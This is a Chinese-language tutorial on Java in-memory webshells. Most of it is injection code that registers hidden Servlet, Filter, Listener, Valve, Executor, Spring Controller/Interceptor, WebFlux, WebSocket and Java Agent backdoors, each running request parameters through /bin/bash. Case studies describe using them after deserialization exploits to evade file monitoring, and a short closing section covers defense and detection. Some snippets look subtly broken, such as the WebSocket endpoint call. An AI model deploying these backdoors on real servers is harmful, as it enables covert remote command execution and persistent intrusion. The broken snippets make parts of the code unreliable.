从零掌握java内存马大全(基于LearnJavaMemshellFromZero复现重组)
字数 3930 2025-08-29 22:41:32
Java内存马技术全面解析
一、内存马概述
1.1 内存马定义与分类
内存马是一种无文件攻击技术,通过修改Java Web应用的内存结构实现持久化后门,无需写入磁盘文件。根据实现方式可分为三大类:
-
框架型内存马:
- 针对Spring系列框架(Spring MVC、Spring WebFlux等)
- 利用框架特性动态注册恶意组件
-
中间件型内存马:
- 主要针对Tomcat、Jetty等中间件
- 通过修改中间件核心组件实现
-
其他内存马:
- WebSocket内存马
- Java Agent内存马
- 线程池内存马等
1.2 内存马解决的问题
- 网络限制无法反弹shell的情况
- 通过反向代理暴露Web端口的内部主机
- 存在防篡改和目录监控的服务器
- 使用Spring Boot等无法解析传统Webshell的框架
- 存在监控系统会告警文件写入的情况
1.3 内存马优缺点
优点:
- 无文件落地,隐蔽性高
- 绕过传统文件监控
- WebSocket等新型内存马更难检测
缺点:
- 服务重启后失效
- 传统内存马位置固定,已有查杀技术
- 部分实现方式有版本限制
二、基础知识
2.1 Tomcat技术栈
2.1.1 Tomcat核心组件
-
连接器(Connector):
- 处理Socket连接
- 网络字节流与Request/Response对象转换
- 包含Endpoint、Processor和Adapter三个子组件
-
容器(Container):
- 加载并管理Servlet
- 处理具体Request请求
- 包含Engine、Host、Context和Wrapper层级
2.1.2 Tomcat请求处理流程
- Endpoint接收Socket连接
- Processor解析协议生成Tomcat Request
- Adapter将Tomcat Request转为ServletRequest
- 容器通过Mapper定位到具体Servlet处理
- 返回响应流程反向进行
2.2 Servlet规范组件
2.2.1 Servlet组件
-
初始化流程:
- 创建Wrapper对象
- 设置LoadOnStartup值
- 设置Servlet名称和类
- 添加到Context
- 建立URL映射
-
装载流程:
- Listener → Filter → Servlet顺序加载
- loadOnStartup非负值按升序加载
2.2.2 Filter组件
-
核心类:
- FilterDefs:存放FilterDef数组
- FilterConfigs:存放FilterConfig数组
- FilterMaps:存放FilterMap数组
- FilterChain:过滤器链
-
执行流程:
- 根据URL匹配FilterMap
- 通过FilterName找到FilterConfig
- 构建FilterChain依次执行
2.2.3 Listener组件
-
类型:
- ServletContextListener
- ServletRequestListener
- HttpSessionListener等
-
初始化流程:
- 从web.xml获取Listener定义
- 实例化后按类型分类
- 添加到applicationEventListenersList
2.3 Spring技术栈
2.3.1 Spring MVC核心组件
-
九大组件:
- DispatcherServlet:前端控制器
- HandlerMapping:URL到Controller映射
- HandlerAdapter:处理器适配器
- ViewResolver:视图解析器
- 其他:LocaleResolver、ThemeResolver等
-
请求处理流程:
- DispatcherServlet接收请求
- HandlerMapping确定处理器
- HandlerAdapter执行处理器方法
- 返回ModelAndView
- 视图解析器渲染视图
2.3.2 Spring WebFlux
-
核心概念:
- 完全非阻塞式
- 支持Reactive Streams背压
- 运行在Netty等容器上
-
核心类:
- Mono:0或1个元素的异步序列
- Flux:0到N个元素的异步序列
-
处理流程:
- WebFilter链预处理
- RouterFunction路由匹配
- HandlerFunction业务处理
三、中间件型内存马实现
3.1 Servlet内存马
3.1.1 实现步骤
- 获取ServletContext上下文
- 反射获取ApplicationContext
- 反射获取StandardContext
- 创建恶意Servlet类
- 创建Wrapper并设置Servlet
- 添加到Tomcat容器
3.1.2 关键代码
// 获取StandardContext
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
// 创建恶意Servlet
Servlet servlet = new Servlet() {
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws IOException {
String cmd = servletRequest.getParameter("cmd");
Process process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
Scanner scanner = new Scanner(process.getInputStream()).useDelimiter("\\A");
servletResponse.getWriter().write(scanner.hasNext() ? scanner.next() : "");
}
};
// 创建Wrapper并注册
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName(servletName);
wrapper.setServlet(servlet);
wrapper.setLoadOnStartup(1);
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded(servletURL, servletName);
3.2 Filter内存马
3.2.1 实现步骤
- 获取StandardContext
- 创建恶意Filter类
- 创建FilterDef并添加到filterDefs
- 创建FilterMap并添加到filterMaps
- 反射创建FilterConfig并添加到filterConfigs
3.2.2 关键代码
// 获取StandardContext
StandardContext standardContext = ...;
// 创建恶意Filter
Filter filter = new Filter() {
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException {
String cmd = servletRequest.getParameter("cmd");
if (cmd != null) {
Process process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
Scanner scanner = new Scanner(process.getInputStream()).useDelimiter("\\A");
servletResponse.getWriter().write(scanner.hasNext() ? scanner.next() : "");
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
};
// 创建并添加FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
// 创建并添加FilterMap
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(filterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
// 反射添加FilterConfig
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
Field configs = standardContext.getClass().getDeclaredField("filterConfigs");
configs.setAccessible(true);
Map filterConfigs = (Map) configs.get(standardContext);
filterConfigs.put(filterName, filterConfig);
3.3 Listener内存马
3.3.1 实现步骤
- 创建恶意Listener类
- 获取StandardContext
- 调用addApplicationEventListener添加Listener
3.3.2 关键代码
// 创建恶意Listener
ServletRequestListener listener = new ServletRequestListener() {
public void requestDestroyed(ServletRequestEvent sre) {}
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Process process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
Scanner scanner = new Scanner(process.getInputStream()).useDelimiter("\\A");
request.getResponse().getWriter().write(scanner.hasNext() ? scanner.next() : "");
} catch (IOException e) {
e.printStackTrace();
}
}
}
};
// 获取StandardContext并添加Listener
StandardContext standardContext = ...;
standardContext.addApplicationEventListener(listener);
3.4 Tomcat Valve内存马
3.4.1 实现步骤
- 获取StandardContext
- 创建恶意Valve类
- 通过getPipeline().addValve()添加
3.4.2 关键代码
// 创建恶意Valve
Valve valve = new ValveBase() {
public void invoke(Request request, Response response) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
Scanner scanner = new Scanner(process.getInputStream()).useDelimiter("\\A");
response.getWriter().write(scanner.hasNext() ? scanner.next() : "");
return;
}
getNext().invoke(request, response);
}
};
// 获取StandardContext并添加Valve
StandardContext standardContext = ...;
standardContext.getPipeline().addValve(valve);
3.5 Tomcat Executor内存马
3.5.1 实现步骤
- 反射获取NioEndpoint
- 替换Executor为恶意Executor
- 在命令执行时处理请求
3.5.2 关键代码
// 获取NioEndpoint
Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
for (Thread thread : threads) {
if (thread != null && thread.getName().contains("NioEndpoint")) {
Object target = getField(thread, "target");
if (target instanceof Runnable) {
Object nioEndpoint = getField(target, "this$0");
// 替换Executor
Executor executor = (Executor) getField(nioEndpoint, "executor");
Executor maliciousExecutor = new Executor() {
public void execute(Runnable command) {
try {
// 反射获取SocketWrapper
Object socketWrapper = getField(command, "socketWrapper");
Object request = getField(socketWrapper, "request");
// 处理命令执行
String cmd = (String) invokeMethod(request, "getHeader", "cmd");
if (cmd != null) {
Process process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
Scanner scanner = new Scanner(process.getInputStream()).useDelimiter("\\A");
String output = scanner.hasNext() ? scanner.next() : "";
invokeMethod(request, "setHeader", "result", output);
}
} catch (Exception e) {
e.printStackTrace();
}
executor.execute(command);
}
};
setField(nioEndpoint, "executor", maliciousExecutor);
}
}
}
四、框架型内存马实现
4.1 Spring MVC Controller内存马
4.1.1 实现步骤
- 获取WebApplicationContext
- 获取RequestMappingHandlerMapping
- 反射获取恶意方法的Method对象
- 定义RequestMappingInfo
- 动态注册Controller
4.1.2 关键代码
// 获取WebApplicationContext
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes()
.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 获取RequestMappingHandlerMapping
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 定义恶意方法
Method method = InjectedController.class.getMethod("cmd");
// 创建RequestMappingInfo
PatternsRequestCondition patterns = new PatternsRequestCondition("/" + randomAlphanumeric(8));
RequestMappingInfo mappingInfo = new RequestMappingInfo(patterns, null, null, null, null, null, null);
// 注册Controller
mappingHandlerMapping.registerMapping(mappingInfo, new InjectedController(), method);
// 恶意Controller类
public class InjectedController {
public void cmd(HttpServletRequest request, HttpServletResponse response) throws IOException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
Scanner scanner = new Scanner(process.getInputStream()).useDelimiter("\\A");
response.getWriter().write(scanner.hasNext() ? scanner.next() : "");
}
}
}
4.2 Spring MVC Interceptor内存马
4.2.1 实现步骤
- 获取WebApplicationContext
- 获取拦截器注册中心
- 创建恶意拦截器
- 动态注册拦截器
4.2.2 关键代码
// 获取WebApplicationContext
WebApplicationContext context = ...;
// 获取拦截器注册中心
AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");
Field adaptedInterceptors = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
adaptedInterceptors.setAccessible(true);
List<Object> interceptors = (List<Object>)adaptedInterceptors.get(abstractHandlerMapping);
// 创建恶意拦截器
HandlerInterceptor interceptor = new HandlerInterceptor() {
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
Scanner scanner = new Scanner(process.getInputStream()).useDelimiter("\\A");
response.getWriter().write(scanner.hasNext() ? scanner.next() : "");
return false;
}
return true;
}
};
// 注册拦截器
interceptors.add(0, interceptor);
4.3 Spring WebFlux内存马
4.3.1 实现步骤
- 反射获取DefaultWebFilterChain
- 获取原始filters列表
- 创建恶意WebFilter
- 插入到filters列表首位
- 重建过滤器链
4.3.2 关键代码
public static String doInject() throws Exception {
// 获取DefaultWebFilterChain
Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
for (Thread thread : threads) {
if (thread != null && thread.getName().contains("NettyWebServer")) {
Object target = getField(thread, "target");
if (target instanceof Runnable) {
Object handler = getField(getField(target, "this$0"), "handler");
Object chain = getField(handler, "chain");
// 获取原始filters
List<WebFilter> filters = (List<WebFilter>) getField(chain, "filters");
// 创建恶意WebFilter
WebFilter maliciousFilter = new WebFilter() {
public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
String cmd = exchange.getRequest().getQueryParams().getFirst("cmd");
if (cmd != null) {
try {
Process process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
Scanner scanner = new Scanner(process.getInputStream()).useDelimiter("\\A");
String output = scanner.hasNext() ? scanner.next() : "";
return exchange.getResponse().writeWith(Mono.just(exchange.getResponse()
.bufferFactory().wrap(output.getBytes())));
} catch (IOException e) {
return Mono.error(e);
}
}
return chain.filter(exchange);
}
};
// 插入到首位并重建过滤器链
List<WebFilter> newFilters = new ArrayList<>();
newFilters.add(maliciousFilter);
newFilters.addAll(filters);
Constructor<?> constructor = chain.getClass().getDeclaredConstructor(WebHandler.class, List.class);
constructor.setAccessible(true);
Object newChain = constructor.newInstance(getField(chain, "handler"), newFilters);
Field field = handler.getClass().getDeclaredField("chain");
field.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
field.set(handler, newChain);
modifiersField.setInt(field, field.getModifiers() | Modifier.FINAL);
return "Injected successfully";
}
}
}
return "Injection failed";
}
五、其他类型内存马
5.1 WebSocket内存马
5.1.1 实现步骤
- 创建恶意WebSocket端点
- 获取ServerContainer
- 动态添加WebSocket端点
5.1.2 关键代码
// 获取ServerContainer
ServletContext servletContext = request.getSession().getServletContext();
ServerContainer serverContainer = (ServerContainer) servletContext.getAttribute("javax.websocket.server.ServerContainer");
// 创建恶意端点
serverContainer.addEndpoint(new ServerEndpointConfig.Configurator() {
public void modifyHandshake(ServerEndpointConfig sec, HandshakeRequest request, HandshakeResponse response) {
String cmd = request.getParameterMap().get("cmd").get(0);
if (cmd != null) {
try {
Process process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
Scanner scanner = new Scanner(process.getInputStream()).useDelimiter("\\A");
String output = scanner.hasNext() ? scanner.next() : "";
response.getHeaders().put("result", Collections.singletonList(output));
} catch (IOException e) {
e.printStackTrace();
}
}
super.modifyHandshake(sec, request, response);
}
}, "/ws");
5.2 Java Agent内存马
5.2.1 实现步骤
- 创建Agent Jar包
- 使用Instrumentation API
- 动态修改字节码
- 注入内存马逻辑
5.2.2 关键代码
public class Agent {
public static void premain(String args, Instrumentation inst) {
inst.addTransformer(new ClassFileTransformer() {
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] classfileBuffer) {
if ("org/apache/catalina/core/StandardContext".equals(className)) {
try {
ClassPool cp = ClassPool.getDefault();
CtClass cc = cp.get("org.apache.catalina.core.StandardContext");
// 添加恶意Filter
CtMethod m = cc.getDeclaredMethod("startInternal");
m.insertBefore("{"
+ "org.apache.tomcat.util.descriptor.web.FilterDef filterDef = new org.apache.tomcat.util.descriptor.web.FilterDef();"
+ "filterDef.setFilterName(\"maliciousFilter\");"
+ "filterDef.setFilterClass(\"malicious.Filter\");"
+ "this.addFilterDef(filterDef);"
+ "org.apache.tomcat.util.descriptor.web.FilterMap filterMap = new org.apache.tomcat.util.descriptor.web.FilterMap();"
+ "filterMap.addURLPattern(\"/*\");"
+ "filterMap.setFilterName(\"maliciousFilter\");"
+ "this.addFilterMapBefore(filterMap);"
+ "}");
return cc.toBytecode();
} catch (Exception e) {
e.printStackTrace();
}
}
return null;
}
});
}
}
六、防御与检测
6.1 内存马防御措施
-
代码层面:
- 关闭调试接口和危险功能
- 使用SecurityManager限制反射
- 对关键类进行保护
-
运行时防护:
- 使用RASP进行实时防护
- 限制JVM attach机制
- 监控关键API调用
-
部署层面:
- 使用容器化部署限制权限
- 定期重启服务
- 使用WAF拦截可疑请求
6.2 内存马检测方法
-
静态检测:
- 扫描JAR/WAR中的可疑类
- 检查web.xml等配置文件
- 对比基线检查类加载情况
-
动态检测:
- 检查MBean中的组件
- 遍历Filter/Listener列表
- 检查URL映射关系
-
工具检测:
- 使用Java-Memshell-Scanner
- 使用Arthas等诊断工具
- 使用专业内存马检测工具
6.3 应急响应建议
- 立即隔离受影响系统
- 收集内存转储进行分析
- 查找注入点并修复漏洞
- 重置所有密码和密钥
- 全面检查其他系统
七、实战案例
7.1 某NC系统反序列化漏洞
场景:
- 存在反序列化漏洞但无法反弹shell
- 文件写入后被快速查杀
- 设备有文件目录监控
解决方案:
- 通过反序列化直接打入Filter内存马
- 绕过文件监控实现持久化
- 成功进行内网渗透
7.2 Spring Boot + Shiro 550漏洞
场景:
- Shiro 550漏洞但系统不出网
- Spring Boot以JAR形式启动
- 无JSP解析能力
解决方案:
- 使用Spring Interceptor内存马
- 通过动态注册Interceptor实现后门
- 获取Web服务器权限
7.3 某WebLogic漏洞利用
场景:
- 存在反序列化漏洞
- 网络限制严格
- 有RASP防护
解决方案:
- 使用WebSocket内存马
- 通过ws协议建立通信
- 绕过传统网络限制和RASP检测
八、总结与展望
Java内存马技术不断发展,从最初的Servlet/Filter内存马到现在的WebSocket、Agent等多种形式,对抗也在不断升级。未来可能出现以下趋势:
-
更加隐蔽:
- 利用合法功能实现恶意逻辑
- 模仿正常业务代码
- 使用加密通信
-
更多载体:
- 云原生环境下的内存马
- 微服务架构中的传播
- 容器环境适配
-
检测对抗:
- 行为分析成为主流
- AI辅助检测
- 硬件辅助安全
安全人员需要持续关注新技术发展,建立完善的防御体系,才能有效应对日益复杂的内存马威胁。